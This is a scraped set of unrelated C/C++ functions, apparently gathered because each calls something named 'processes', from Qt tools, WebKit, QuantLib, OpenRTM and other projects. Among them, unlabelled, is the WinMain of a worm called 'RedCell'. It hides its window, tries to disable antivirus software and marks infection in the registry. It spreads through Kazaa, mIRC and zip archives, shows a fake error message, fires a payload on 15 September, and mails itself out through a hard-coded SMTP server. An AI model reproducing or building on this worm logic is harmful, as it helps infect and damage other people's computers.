QList<unsigned int> GetMatchingProcessIds(QString const& pattern) { QList<unsigned int> pids; QStringList args; #ifdef Q_OS_WIN32 QString cmd("/Windows/System32/tasklist.exe"); #else QString cmd("/bin/ps"); // The command,pid ordering is chosen to match the output of tasklist args << "-x" << "-c" << "-o" << "command,pid"; #endif QStringList processes(RunCommand(cmd, args)); QStringList tokens; for (int i = 0; i < processes.count(); ++i) { if (processes[i].contains(pattern, Qt::CaseInsensitive)) { qDebug() << "MATCHED!" << processes[i]; tokens = processes[i].split(QRegExp("\\s+"), QString::SkipEmptyParts); pids.append(tokens[1].toUInt()); } } return pids; }
void Model::initializeEntities( System* const aSystem ) { aSystem->initialize(); if( !aSystem->getStepper() ) { THROW_EXCEPTION( InitializationFailed, "No stepper is connected with [" + aSystem->getFullID().asString() + "]." ); } System::Variables variables( aSystem->getVariables() ); std::for_each( boost::begin( variables ), boost::end( variables ), ComposeUnary( boost::bind( &Variable::initialize, _1 ), SelectSecond< boost::range_value< System::Variables >::type >() ) ); System::Processes processes( aSystem->getProcesses() ); std::for_each( boost::begin( processes ), boost::end( processes ), ComposeUnary( boost::bind( &Process::initialize, _1 ), SelectSecond< boost::range_value< System::Processes >::type >() ) ); System::Systems systems( aSystem->getSystems() ); std::for_each( boost::begin( systems ), boost::end( systems ), ComposeUnary( boost::bind( &Model::initializeEntities, _1 ), SelectSecond< boost::range_value< System::Systems >::type >() ) ); }
// Fill in a map of process names and states (as UtlStrings) void SipxProcessManager::getProcessStateAll(UtlHashMap& processStates //< key->name, value->state string ) { processStates.destroyAll(); SipxProcess* process; // the lock is not required with the Iterator UtlHashBagIterator processes(mProcesses); while ((process = dynamic_cast<SipxProcess*>(processes()))) { if ( 0 != process->compareTo(SUPERVISOR_PROCESS_NAME) ) { processStates.insertKeyAndValue(new UtlString(process->data()), new UtlString(process->GetCurrentState()->name()) ); } } }
void Model::removeVariableReferences( System* aSystem, Variable const* aVariable ) { System::Processes processes( aSystem->getProcesses() ); std::for_each( boost::begin( processes ), boost::end( processes ), ComposeUnary( boost::bind( (bool(Process::*)(Variable const*, bool))&Process::removeVariableReference, _1, aVariable, false ), SelectSecond< boost::range_value< System::Processes >::type >() ) ); }
void ProcessMonitor::saveProcessList() { ProcessList processes(s_processMap.keys()); ProcessList::iterator iter; QVariantList list; for (iter = processes.begin(); iter != processes.end(); ++iter) { list.append((*iter)->serialize()); } Preferences::CurrentProcessList(list); }
/// destructor SipxProcessManager::~SipxProcessManager() { OsLock tableMutex(mProcessTableLock); SipxProcess* process; // send shutdowns to all processes before waiting for them to delete UtlHashBagIterator processes(mProcesses); while ((process = dynamic_cast<SipxProcess*>(processes()))) { process->shutdown(); OsTask::delay(100); } Os::Logger::instance().log(FAC_SUPERVISOR, PRI_NOTICE, "SipxProcessManager::~ " "delete %zu SipxProcess objects", mProcesses.entries()); mProcesses.destroyAll(); while (mProcesses.entries() > 0) { OsTask::delay(1000); } };
void Model::preinitializeEntities( System* aSystem ) { aSystem->preinitialize(); System::Variables variables( aSystem->getVariables() ); std::for_each( boost::begin( variables ), boost::end( variables ), ComposeUnary( boost::bind( &Variable::preinitialize, _1 ), SelectSecond< boost::range_value< System::Variables >::type >() ) ); System::Processes processes( aSystem->getProcesses() ); std::for_each( boost::begin( processes ), boost::end( processes ), ComposeUnary( boost::bind( &Process::preinitialize, _1 ), SelectSecond< boost::range_value< System::Processes >::type >() ) ); System::Systems systems( aSystem->getSystems() ); std::for_each( boost::begin( systems ), boost::end( systems ), ComposeUnary( boost::bind( &Model::preinitializeEntities, _1 ), SelectSecond< boost::range_value< System::Systems >::type >() ) ); }
/** * @addTaskPrivate */ QueuedResult<long long> QueuedCorePrivateHelper::addTaskPrivate(const QString &_command, const QStringList &_arguments, const QString &_workingDirectory, const long long _userId, const uint _nice, const QueuedLimits::Limits &_limits) { qCDebug(LOG_LIB) << "Add task" << _command << "with arguments" << _arguments << "from user" << _userId; // add to database auto ids = users()->ids(_userId); auto userObj = m_core->user(_userId, m_core->m_adminToken); if (!userObj) { qCWarning(LOG_LIB) << "Could not find task user" << _userId; return QueuedError("Invalid token", QueuedEnums::ReturnStatus::InvalidToken); } auto taskLimits = QueuedLimits::minimalLimits( _limits, userObj->nativeLimits(), QueuedLimits::Limits( advancedSettings()->get(QueuedConfig::QueuedSettings::DefaultLimits).toString())); QVariantHash properties = {{"user", _userId}, {"command", _command}, {"commandArguments", _arguments}, {"workDirectory", _workingDirectory}, {"nice", std::min(_nice, userObj->priority())}, {"uid", ids.first}, {"gid", ids.second}, {"limits", taskLimits.toString()}}; auto id = database()->add(QueuedDB::TASKS_TABLE, properties); if (id == -1) { qCWarning(LOG_LIB) << "Could not add task" << _command; return QueuedError("", QueuedEnums::ReturnStatus::Error); } // add to child object processes()->add(properties, QList<QVariantHash>(), id); // notify plugins if (plugins()) emit(plugins()->interface()->onAddTask(id)); return id; }
/** * @fn tryGetTask */ QueuedProcess *QueuedCorePrivateHelper::tryGetTask(const long long _id) { qCDebug(LOG_LIB) << "Search for task" << _id; auto task = processes()->process(_id); if (!task) { qCInfo(LOG_LIB) << "Try to get information about task" << _id << "from database"; auto data = database()->get(QueuedDB::TASKS_TABLE, _id); if (data.isEmpty()) { qCWarning(LOG_LIB) << "Could not find task with ID" << _id; return nullptr; } qCInfo(LOG_LIB) << "Try to get task" << _id << "modifications from database"; auto mods = database()->get(QueuedDB::TASKS_MODS_TABLE, "WHERE task=:task", {{"task", _id}}); auto defs = QueuedProcessManager::parseDefinitions(data, mods); task = new QueuedProcess(this, defs, _id); } return task; }
void WebsiteDataStore::fetchData(WebsiteDataTypes dataTypes, std::function<void (Vector<WebsiteDataRecord>)> completionHandler) { struct CallbackAggregator final : public RefCounted<CallbackAggregator> { explicit CallbackAggregator(std::function<void (Vector<WebsiteDataRecord>)> completionHandler) : completionHandler(WTF::move(completionHandler)) { } ~CallbackAggregator() { ASSERT(!pendingCallbacks); } void addPendingCallback() { pendingCallbacks++; } void removePendingCallback(WebsiteData websiteData) { ASSERT(pendingCallbacks); --pendingCallbacks; for (auto& entry : websiteData.entries) { auto displayName = WebsiteDataRecord::displayNameForOrigin(*entry.origin); if (!displayName) continue; auto& record = m_websiteDataRecords.add(displayName, WebsiteDataRecord { }).iterator->value; if (!record.displayName) record.displayName = WTF::move(displayName); record.add(entry.type, WTF::move(entry.origin)); } for (auto& hostName : websiteData.hostNamesWithCookies) { auto displayName = WebsiteDataRecord::displayNameForCookieHostName(hostName); if (!displayName) continue; auto& record = m_websiteDataRecords.add(displayName, WebsiteDataRecord { }).iterator->value; if (!record.displayName) record.displayName = WTF::move(displayName); record.addCookieHostName(hostName); } callIfNeeded(); } void callIfNeeded() { if (pendingCallbacks) return; RefPtr<CallbackAggregator> callbackAggregator(this); RunLoop::main().dispatch([callbackAggregator] { WTF::Vector<WebsiteDataRecord> records; records.reserveInitialCapacity(callbackAggregator->m_websiteDataRecords.size()); for (auto& record : callbackAggregator->m_websiteDataRecords.values()) records.uncheckedAppend(WTF::move(record)); callbackAggregator->completionHandler(WTF::move(records)); }); } unsigned pendingCallbacks = 0; std::function<void (Vector<WebsiteDataRecord>)> completionHandler; HashMap<String, WebsiteDataRecord> m_websiteDataRecords; }; RefPtr<CallbackAggregator> callbackAggregator = adoptRef(new CallbackAggregator(WTF::move(completionHandler))); auto networkProcessAccessType = computeNetworkProcessAccessTypeForDataFetch(dataTypes, isNonPersistent()); if (networkProcessAccessType != ProcessAccessType::None) { HashSet<WebProcessPool*> processPools; for (auto& process : processes()) processPools.add(&process->processPool()); for (auto& processPool : processPools) { switch (networkProcessAccessType) { case ProcessAccessType::OnlyIfLaunched: if (!processPool->networkProcess()) continue; break; case ProcessAccessType::Launch: processPool->ensureNetworkProcess(); break; case ProcessAccessType::None: ASSERT_NOT_REACHED(); } callbackAggregator->addPendingCallback(); processPool->networkProcess()->fetchWebsiteData(m_sessionID, dataTypes, [callbackAggregator](WebsiteData websiteData) { callbackAggregator->removePendingCallback(WTF::move(websiteData)); }); } } auto webProcessAccessType = computeWebProcessAccessTypeForDataFetch(dataTypes, isNonPersistent()); if (webProcessAccessType != ProcessAccessType::None) { for (auto& process : processes()) { switch (webProcessAccessType) { case ProcessAccessType::OnlyIfLaunched: if (!process->canSendMessage()) continue; break; case ProcessAccessType::Launch: // FIXME: Handle this. ASSERT_NOT_REACHED(); break; case ProcessAccessType::None: ASSERT_NOT_REACHED(); } callbackAggregator->addPendingCallback(); process->fetchWebsiteData(m_sessionID, dataTypes, [callbackAggregator](WebsiteData websiteData) { callbackAggregator->removePendingCallback(WTF::move(websiteData)); }); } } if (dataTypes & WebsiteDataTypeLocalStorage && m_storageManager) { callbackAggregator->addPendingCallback(); m_storageManager->getOrigins([callbackAggregator](Vector<RefPtr<WebCore::SecurityOrigin>> origins) { WebsiteData websiteData; for (auto& origin : origins) websiteData.entries.append(WebsiteData::Entry { WTF::move(origin), WebsiteDataTypeLocalStorage }); callbackAggregator->removePendingCallback(WTF::move(websiteData)); }); } callbackAggregator->callIfNeeded(); }
std::vector<Real> power_spread_note(Date evaluationDate, Real notional, Schedule schedule, DayCounter dayCounter, BusinessDayConvention bdc, std::vector<Real> gearing, std::vector<Real> spread, std::vector<Real> caps, std::vector<Real> floors, bool isAvg, Date firstCallDate, Real pastFixing, boost::shared_ptr<StochasticProcess1D> obs1Process, boost::shared_ptr<StochasticProcess1D> obs2Process, boost::shared_ptr<HullWhiteProcess> discProcess, Real rho12, Real rho1disc, Real rho2disc, Size numSimulation, Size numCalibration) { Date todaysDate = evaluationDate; Settings::instance().evaluationDate() = todaysDate; boost::shared_ptr<IborIndex> index1(new Euribor3M(Handle<YieldTermStructure>( discProcess->yieldTermStructure() ))); boost::shared_ptr<SpreadIndex> index(new SpreadIndex(index1, index1)); boost::shared_ptr<Callability> callability(new Callability(Callability::Price(notional, Callability::Price::Clean), Callability::Call, firstCallDate)); CallabilitySchedule callSchedule; callSchedule.push_back(callability); /***********************************************************************************/ PowerSpreadNote testProduct(0, notional, schedule, index, dayCounter, bdc, Null<Natural>(), gearing, spread, caps, floors, isAvg, 100.0, Date(), callSchedule, Exercise::Bermudan); /*****Pricing Engine*****/ std::vector<boost::shared_ptr<StochasticProcess1D> > pros; pros.push_back(discProcess); pros.push_back(obs1Process); pros.push_back(obs2Process); Matrix corr(3,3,1.0); corr[0][1] = corr[1][0] = rho1disc; corr[0][2] = corr[2][0] = rho2disc; corr[1][2] = corr[2][1] = rho12; boost::shared_ptr<StochasticProcessArray> processes(new StochasticProcessArray(pros, corr)); boost::shared_ptr<PricingEngine> engine_lsmc(new MC_PowerSpread_Engine_LSMC<>(processes, 0.0, //pastAccrual 256, //seed numSimulation, //required samples numCalibration, //calibration samples true, //antithetic false, //control variate false //brownian bridge )); testProduct.setPricingEngine(engine_lsmc); std::vector<Real> rst; rst.push_back(testProduct.NPV()); rst.push_back(testProduct.errorEstimate()); return rst; }
int hrpExecutionContext::svc(void) { if (open_iob() == FALSE){ std::cerr << "open_iob: failed to open" << std::endl; return 0; } if (lock_iob() == FALSE){ std::cerr << "failed to lock iob" << std::endl; close_iob(); return 0; } #ifndef OPENRTM_VERSION_TRUNK long period_nsec = (m_period.sec()*1e9+m_period.usec()*1e3); double period_sec = period_nsec/1e9; #else coil::TimeValue period(getPeriod()); double period_sec = (double)period; long period_nsec = period_sec*1e9; #endif int nsubstep = number_of_substeps(); set_signal_period(period_nsec/nsubstep); std::cout << "period = " << get_signal_period()*nsubstep/1e6 << "[ms], priority = " << m_priority << std::endl; struct timeval debug_tv1, debug_tv2, debug_tv3, debug_tv4, debug_tv5; int loop = 0; int debug_count = 5000.0/(get_signal_period()*nsubstep/1e6); // Loop count for debug print. Once per 5000.0 [ms]. if (!enterRT()){ unlock_iob(); close_iob(); return 0; } do{ loop++; if (loop % debug_count == 0 && ENABLE_DEBUG_PRINT) gettimeofday(&debug_tv1, NULL); if (!waitForNextPeriod()){ unlock_iob(); close_iob(); return 0; } struct timeval tv; gettimeofday(&tv, NULL); if (m_profile.count > 0){ #define DELTA_SEC(start, end) (end.tv_sec - start.tv_sec + (end.tv_usec - start.tv_usec)/1e6) double dt = DELTA_SEC(m_tv, tv); if (dt > m_profile.max_period) m_profile.max_period = dt; if (dt < m_profile.min_period) m_profile.min_period = dt; m_profile.avg_period = (m_profile.avg_period*m_profile.count + dt)/(m_profile.count+1); } m_profile.count++; m_tv = tv; if (loop % debug_count == 0 && ENABLE_DEBUG_PRINT) gettimeofday(&debug_tv2, NULL); #ifndef OPENRTM_VERSION_TRUNK invoke_worker iw; struct timeval tbegin, tend; std::vector<double> processes(m_comps.size()); gettimeofday(&tbegin, NULL); for (unsigned int i=0; i< m_comps.size(); i++){ iw(m_comps[i]); gettimeofday(&tend, NULL); double dt = DELTA_SEC(tbegin, tend); processes[i] = dt; tbegin = tend; } #else struct timeval tbegin, tend; const RTCList& list = getComponentList(); std::vector<double> processes(list.length()); gettimeofday(&tbegin, NULL); for (unsigned int i=0; i< list.length(); i++){ RTC_impl::RTObjectStateMachine* rtobj = m_worker.findComponent(list[i]); rtobj->workerDo(); gettimeofday(&tend, NULL); double dt = DELTA_SEC(tbegin, tend); processes[i] = dt; tbegin = tend; } #endif if (loop % debug_count == 0 && ENABLE_DEBUG_PRINT && rtc_names.size() == processes.size()) { printRTCProcessingTime(processes); } if (loop % debug_count == 0 && ENABLE_DEBUG_PRINT) gettimeofday(&debug_tv3, NULL); gettimeofday(&tv, NULL); double dt = DELTA_SEC(m_tv, tv); if (dt > m_profile.max_process) m_profile.max_process = dt; if (m_profile.profiles.length() != processes.size()){ m_profile.profiles.length(processes.size()); for (unsigned int i=0; i<m_profile.profiles.length(); i++){ m_profile.profiles[i].count = 0; m_profile.profiles[i].avg_process = 0; m_profile.profiles[i].max_process = 0; } } for (unsigned int i=0; i<m_profile.profiles.length(); i++){ #ifndef OPENRTM_VERSION_TRUNK LifeCycleState lcs = get_component_state(m_comps[i]._ref); #else RTC_impl::RTObjectStateMachine* rtobj = m_worker.findComponent(list[i]); LifeCycleState lcs = rtobj->getState(); #endif OpenHRP::ExecutionProfileService::ComponentProfile &prof = m_profile.profiles[i]; double dt = processes[i]; if (lcs == ACTIVE_STATE){ prof.avg_process = (prof.avg_process*prof.count + dt)/(++prof.count); } if (prof.max_process < dt) prof.max_process = dt; } if (dt > period_sec*nsubstep){ m_profile.timeover++; #ifdef NDEBUG fprintf(stderr, "[hrpEC][%d.%6.6d] Timeover: processing time = %4.2f[ms]\n", tv.tv_sec, tv.tv_usec, dt*1e3); // Update rtc_names only when rtcs length change. if (processes.size() != rtc_names.size()){ rtc_names.clear(); for (unsigned int i=0; i< processes.size(); i++){ RTC::RTObject_var rtc = RTC::RTObject::_narrow(m_comps[i]._ref); rtc_names.push_back(std::string(rtc->get_component_profile()->instance_name)); } } printRTCProcessingTime(processes); #endif } #ifndef OPENRTM_VERSION_TRUNK if (loop % debug_count == 0 && ENABLE_DEBUG_PRINT) { gettimeofday(&debug_tv4, NULL); fprintf(stderr, "[hrpEC] Processing time breakdown : waitForNextPeriod %f[ms], warker (onExecute) %f[ms], ExecutionProfile %f[ms], time from prev cicle %f[ms]\n", DELTA_SEC(debug_tv1, debug_tv2)*1e3, DELTA_SEC(debug_tv2, debug_tv3)*1e3, DELTA_SEC(debug_tv3, debug_tv4)*1e3, DELTA_SEC(debug_tv5, debug_tv1)*1e3); } if (loop % debug_count == (debug_count-1) && ENABLE_DEBUG_PRINT) gettimeofday(&debug_tv5, NULL); } while (m_running); #else } while (isRunning());
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInst,LPSTR lpCmdLine,int nShowCmd){ WNDCLASSEX wndc; MSG msg; HKEY hKey; unsigned char buf[1024],inf[]="yes"; DWORD buflen=sizeof(buf); int first=0; //Create a window wndc.cbClsExtra = 0; wndc.cbSize = sizeof(wndc); wndc.cbWndExtra = 0; wndc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); wndc.hCursor = LoadCursor(NULL,IDC_ARROW); wndc.hIcon = LoadIcon(NULL,IDI_APPLICATION); wndc.hIconSm = LoadIcon(NULL,IDI_APPLICATION); wndc.hInstance = hInstance; wndc.lpfnWndProc = WndProc; wndc.lpszClassName = "ClassName"; wndc.lpszMenuName = NULL; wndc.style = CS_HREDRAW|CS_VREDRAW; RegisterClassEx(&wndc); hwnd =CreateWindow("ClassName","NEWWIN",WS_POPUPWINDOW,0,0,1024,1024,NULL,NULL,hInstance,NULL); UpdateWindow(hwnd); //Hide the window ShowWindow(hwnd,SW_HIDE); //Get the filename and disable (if possible) any AVs GetWindowThreadProcessId(hwnd,&ProcessId); processes(); GetWindowsDirectory (windir, sizeof (windir)); //Get the Windir //Check if the comp. was infected before RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\RedCell",0,KEY_QUERY_VALUE,&hKey); RegQueryValueEx(hKey,"infected",0,NULL,buf,&buflen); RegCloseKey(hKey); if (buf[0]!='y' || buf[1]!='e' || buf[2]!='s') { RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\RedCell",&hKey); //Create a key in the registry to mark the PC as infected RegSetValueEx(hKey,"infected",0,REG_SZ,inf,sizeof(inf)); RegCloseKey(hKey); //----INFECT COMPUTER---- infectwin(filename); kazaa(filename); zipit(winbkup); mirc(); base64(filename); conect(); first=1; MessageBox(hwnd,"This program has performed an illegal operation","Error",MB_OK+MB_ICONSTOP); } base64(filename); GetSystemTime(&time); if (time.wDay==15 && time.wMonth==9) payload(); //Activate payload when school starts (15 sept. in Romania) if (first==0) { base64(filename); //Write a "base64" encoded file every time (just in case) conect(); //Try to connect if (err!=0) { //If the server found in the reg. got an error, try using the hard-coded serv. strcpy(server,"smtp.barrysworld.com"); strcpy(email,"*****@*****.**"); strcpy(helo,"barrysworld.com"); conect(); } } if (connected==0) SetTimer(hwnd,tim,50000,TimerProc); //Go resident and check for a connection every 50 secs. while(GetMessage(&msg,NULL,0,0)) { //Stuff... ;-) TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; //end of main() }
void WebsiteDataStore::removeData(WebsiteDataTypes dataTypes, std::chrono::system_clock::time_point modifiedSince, std::function<void ()> completionHandler) { struct CallbackAggregator : public RefCounted<CallbackAggregator> { explicit CallbackAggregator (std::function<void ()> completionHandler) : completionHandler(WTF::move(completionHandler)) { } void addPendingCallback() { pendingCallbacks++; } void removePendingCallback() { ASSERT(pendingCallbacks); --pendingCallbacks; callIfNeeded(); } void callIfNeeded() { if (!pendingCallbacks) RunLoop::main().dispatch(WTF::move(completionHandler)); } unsigned pendingCallbacks = 0; std::function<void ()> completionHandler; }; RefPtr<CallbackAggregator> callbackAggregator = adoptRef(new CallbackAggregator(WTF::move(completionHandler))); auto networkProcessAccessType = computeNetworkProcessAccessTypeForDataRemoval(dataTypes, isNonPersistent()); if (networkProcessAccessType != ProcessAccessType::None) { HashSet<WebProcessPool*> processPools; for (auto& process : processes()) processPools.add(&process->processPool()); for (auto& processPool : processPools) { switch (networkProcessAccessType) { case ProcessAccessType::OnlyIfLaunched: if (!processPool->networkProcess()) continue; break; case ProcessAccessType::Launch: processPool->ensureNetworkProcess(); break; case ProcessAccessType::None: ASSERT_NOT_REACHED(); } callbackAggregator->addPendingCallback(); processPool->networkProcess()->deleteWebsiteData(m_sessionID, dataTypes, modifiedSince, [callbackAggregator] { callbackAggregator->removePendingCallback(); }); } } auto webProcessAccessType = computeWebProcessAccessTypeForDataRemoval(dataTypes, isNonPersistent()); if (webProcessAccessType != ProcessAccessType::None) { for (auto& process : processes()) { switch (webProcessAccessType) { case ProcessAccessType::OnlyIfLaunched: if (!process->canSendMessage()) continue; break; case ProcessAccessType::Launch: // FIXME: Handle this. ASSERT_NOT_REACHED(); break; case ProcessAccessType::None: ASSERT_NOT_REACHED(); } callbackAggregator->addPendingCallback(); process->deleteWebsiteData(m_sessionID, dataTypes, modifiedSince, [callbackAggregator] { callbackAggregator->removePendingCallback(); }); } } if (dataTypes & WebsiteDataTypeLocalStorage && m_storageManager) { callbackAggregator->addPendingCallback(); m_storageManager->deleteLocalStorageOriginsModifiedSince(modifiedSince, [callbackAggregator] { callbackAggregator->removePendingCallback(); }); } // There's a chance that we don't have any pending callbacks. If so, we want to dispatch the completion handler right away. callbackAggregator->callIfNeeded(); }
int main(int argc, char **argv) { char *progname; char *ext; progname = basename(argv[0]); ext = strrchr(progname, '.'); if (ext != NULL) ext[0] = '\0'; switch(*progname) { case 'c': if(!strcmp(progname, "cpu")) return cpu(argc, argv); break; case 'e': if(!strcmp(progname, "entropy")) return entropy(argc, argv); break; case 'f': if(!strcmp(progname, "forks")) return forks(argc, argv); if(!strcmp(progname, "fw_packets")) return fw_packets(argc, argv); break; case 'i': if(!strcmp(progname, "interrupts")) return interrupts(argc, argv); if(!strncmp(progname, "if_err_", 6)) return if_err_(argc, argv); break; case 'l': if(!strcmp(progname, "load")) return load(argc, argv); break; case 'm': if(!strcmp(progname, "memory")) return memory(argc, argv); if(!strcmp(progname, "munin-plugins-c")) return busybox(argc, argv); break; case 'o': if(!strcmp(progname, "open_files")) return open_files(argc, argv); if(!strcmp(progname, "open_inodes")) return open_inodes(argc, argv); break; case 'p': if(!strcmp(progname, "processes")) return processes(argc, argv); break; case 's': if(!strcmp(progname, "swap")) return swap(argc, argv); break; case 't': if(!strcmp(progname, "threads")) return threads(argc, argv); break; case 'u': if(!strcmp(progname, "uptime")) return uptime(argc, argv); break; } return fail("unknown basename"); }
void WebsiteDataStore::removeData(WebsiteDataTypes dataTypes, const Vector<WebsiteDataRecord>& dataRecords, std::function<void ()> completionHandler) { Vector<RefPtr<WebCore::SecurityOrigin>> origins; for (const auto& dataRecord : dataRecords) { for (auto& origin : dataRecord.origins) origins.append(origin); } struct CallbackAggregator : public RefCounted<CallbackAggregator> { explicit CallbackAggregator (std::function<void ()> completionHandler) : completionHandler(WTF::move(completionHandler)) { } void addPendingCallback() { pendingCallbacks++; } void removePendingCallback() { ASSERT(pendingCallbacks); --pendingCallbacks; callIfNeeded(); } void callIfNeeded() { if (!pendingCallbacks) RunLoop::main().dispatch(WTF::move(completionHandler)); } unsigned pendingCallbacks = 0; std::function<void ()> completionHandler; }; RefPtr<CallbackAggregator> callbackAggregator = adoptRef(new CallbackAggregator(WTF::move(completionHandler))); auto networkProcessAccessType = computeNetworkProcessAccessTypeForDataRemoval(dataTypes, isNonPersistent()); if (networkProcessAccessType != ProcessAccessType::None) { HashSet<WebProcessPool*> processPools; for (auto& process : processes()) processPools.add(&process->processPool()); for (auto& processPool : processPools) { switch (networkProcessAccessType) { case ProcessAccessType::OnlyIfLaunched: if (!processPool->networkProcess()) continue; break; case ProcessAccessType::Launch: processPool->ensureNetworkProcess(); break; case ProcessAccessType::None: ASSERT_NOT_REACHED(); } Vector<String> cookieHostNames; for (const auto& dataRecord : dataRecords) { for (auto& hostName : dataRecord.cookieHostNames) cookieHostNames.append(hostName); } callbackAggregator->addPendingCallback(); processPool->networkProcess()->deleteWebsiteDataForOrigins(m_sessionID, dataTypes, origins, cookieHostNames, [callbackAggregator] { callbackAggregator->removePendingCallback(); }); } } auto webProcessAccessType = computeWebProcessAccessTypeForDataRemoval(dataTypes, isNonPersistent()); if (webProcessAccessType != ProcessAccessType::None) { for (auto& process : processes()) { switch (webProcessAccessType) { case ProcessAccessType::OnlyIfLaunched: if (!process->canSendMessage()) continue; break; case ProcessAccessType::Launch: // FIXME: Handle this. ASSERT_NOT_REACHED(); break; case ProcessAccessType::None: ASSERT_NOT_REACHED(); } callbackAggregator->addPendingCallback(); process->deleteWebsiteDataForOrigins(m_sessionID, dataTypes, origins, [callbackAggregator] { callbackAggregator->removePendingCallback(); }); } } if (dataTypes & WebsiteDataTypeLocalStorage && m_storageManager) { callbackAggregator->addPendingCallback(); m_storageManager->deleteEntriesForOrigins(origins, [callbackAggregator] { callbackAggregator->removePendingCallback(); }); } // There's a chance that we don't have any pending callbacks. If so, we want to dispatch the completion handler right away. callbackAggregator->callIfNeeded(); }
std::vector<Real> power_spread_swap(Date evaluationDate, Real notional, PowerSpreadSwap::Side side, Rate alpha, Schedule floatingSchedule, Schedule fixedSchedule, DayCounter dayCounter, BusinessDayConvention bdc, std::vector<Real> gearing, std::vector<Real> spread, std::vector<Real> caps, std::vector<Real> floors, bool isAvg, Date firstCallDate, Real pastFixing, Rate floatingFixingRate, Real floatingGearing, DayCounter floatingDayCounter, boost::shared_ptr<StochasticProcess1D> obs1Process, boost::shared_ptr<StochasticProcess1D> obs2Process, YieldCurveParams disc, Real rho12, Real rho1disc, Real rho2disc, Size numSimulation, Size numCalibration) { Date todaysDate = evaluationDate; Settings::instance().evaluationDate() = todaysDate; boost::shared_ptr<IborIndex> index1(new Euribor3M(Handle<YieldTermStructure>( disc.yts ))); boost::shared_ptr<SpreadIndex> index(new SpreadIndex(index1, index1)); boost::shared_ptr<Callability> callability(new Callability(Callability::Price(notional, Callability::Price::Clean), Callability::Call, firstCallDate)); CallabilitySchedule callSchedule; callSchedule.push_back(callability); boost::shared_ptr<StochasticProcess1D> discProcess(new HullWhiteProcess(Handle<YieldTermStructure>(disc.yts), disc.hwParams.a, disc.hwParams.sigma)); /***********************************************************************************/ Leg floatingcashflows = IborLeg(floatingSchedule, index1) .withNotionals(notional) .withPaymentDayCounter(floatingDayCounter) .withPaymentAdjustment(bdc) .withSpreads(alpha) .withGearings(floatingGearing) .withPaymentAdjustment(bdc); PowerSpreadSwap testProduct(0, notional, side, floatingSchedule, floatingcashflows, alpha, fixedSchedule, index, dayCounter, bdc, Null<Natural>(), gearing, spread, caps, floors, isAvg, 100.0, Date(), callSchedule, Exercise::Bermudan); /*****Pricing Engine*****/ std::vector<boost::shared_ptr<StochasticProcess1D> > pros; pros.push_back(discProcess); pros.push_back(obs1Process); pros.push_back(obs2Process); Matrix corr(3,3,1.0); corr[0][1] = corr[1][0] = rho1disc; corr[0][2] = corr[2][0] = rho2disc; corr[1][2] = corr[2][1] = rho12; boost::shared_ptr<StochasticProcessArray> processes(new StochasticProcessArray(pros, corr)); boost::shared_ptr<PricingEngine> engine_lsmc(new MC_PowerSpread_Swap_Engine_LSMC<>(processes, 0.03, //pastFixing 0.03, 256, //seed numSimulation, //required samples numCalibration, //calibration samples true, //antithetic false, //control variate false //brownian bridge )); testProduct.setPricingEngine(engine_lsmc); std::vector<Real> rst; rst.push_back(testProduct.NPV()); rst.push_back(testProduct.errorEstimate()); return rst; }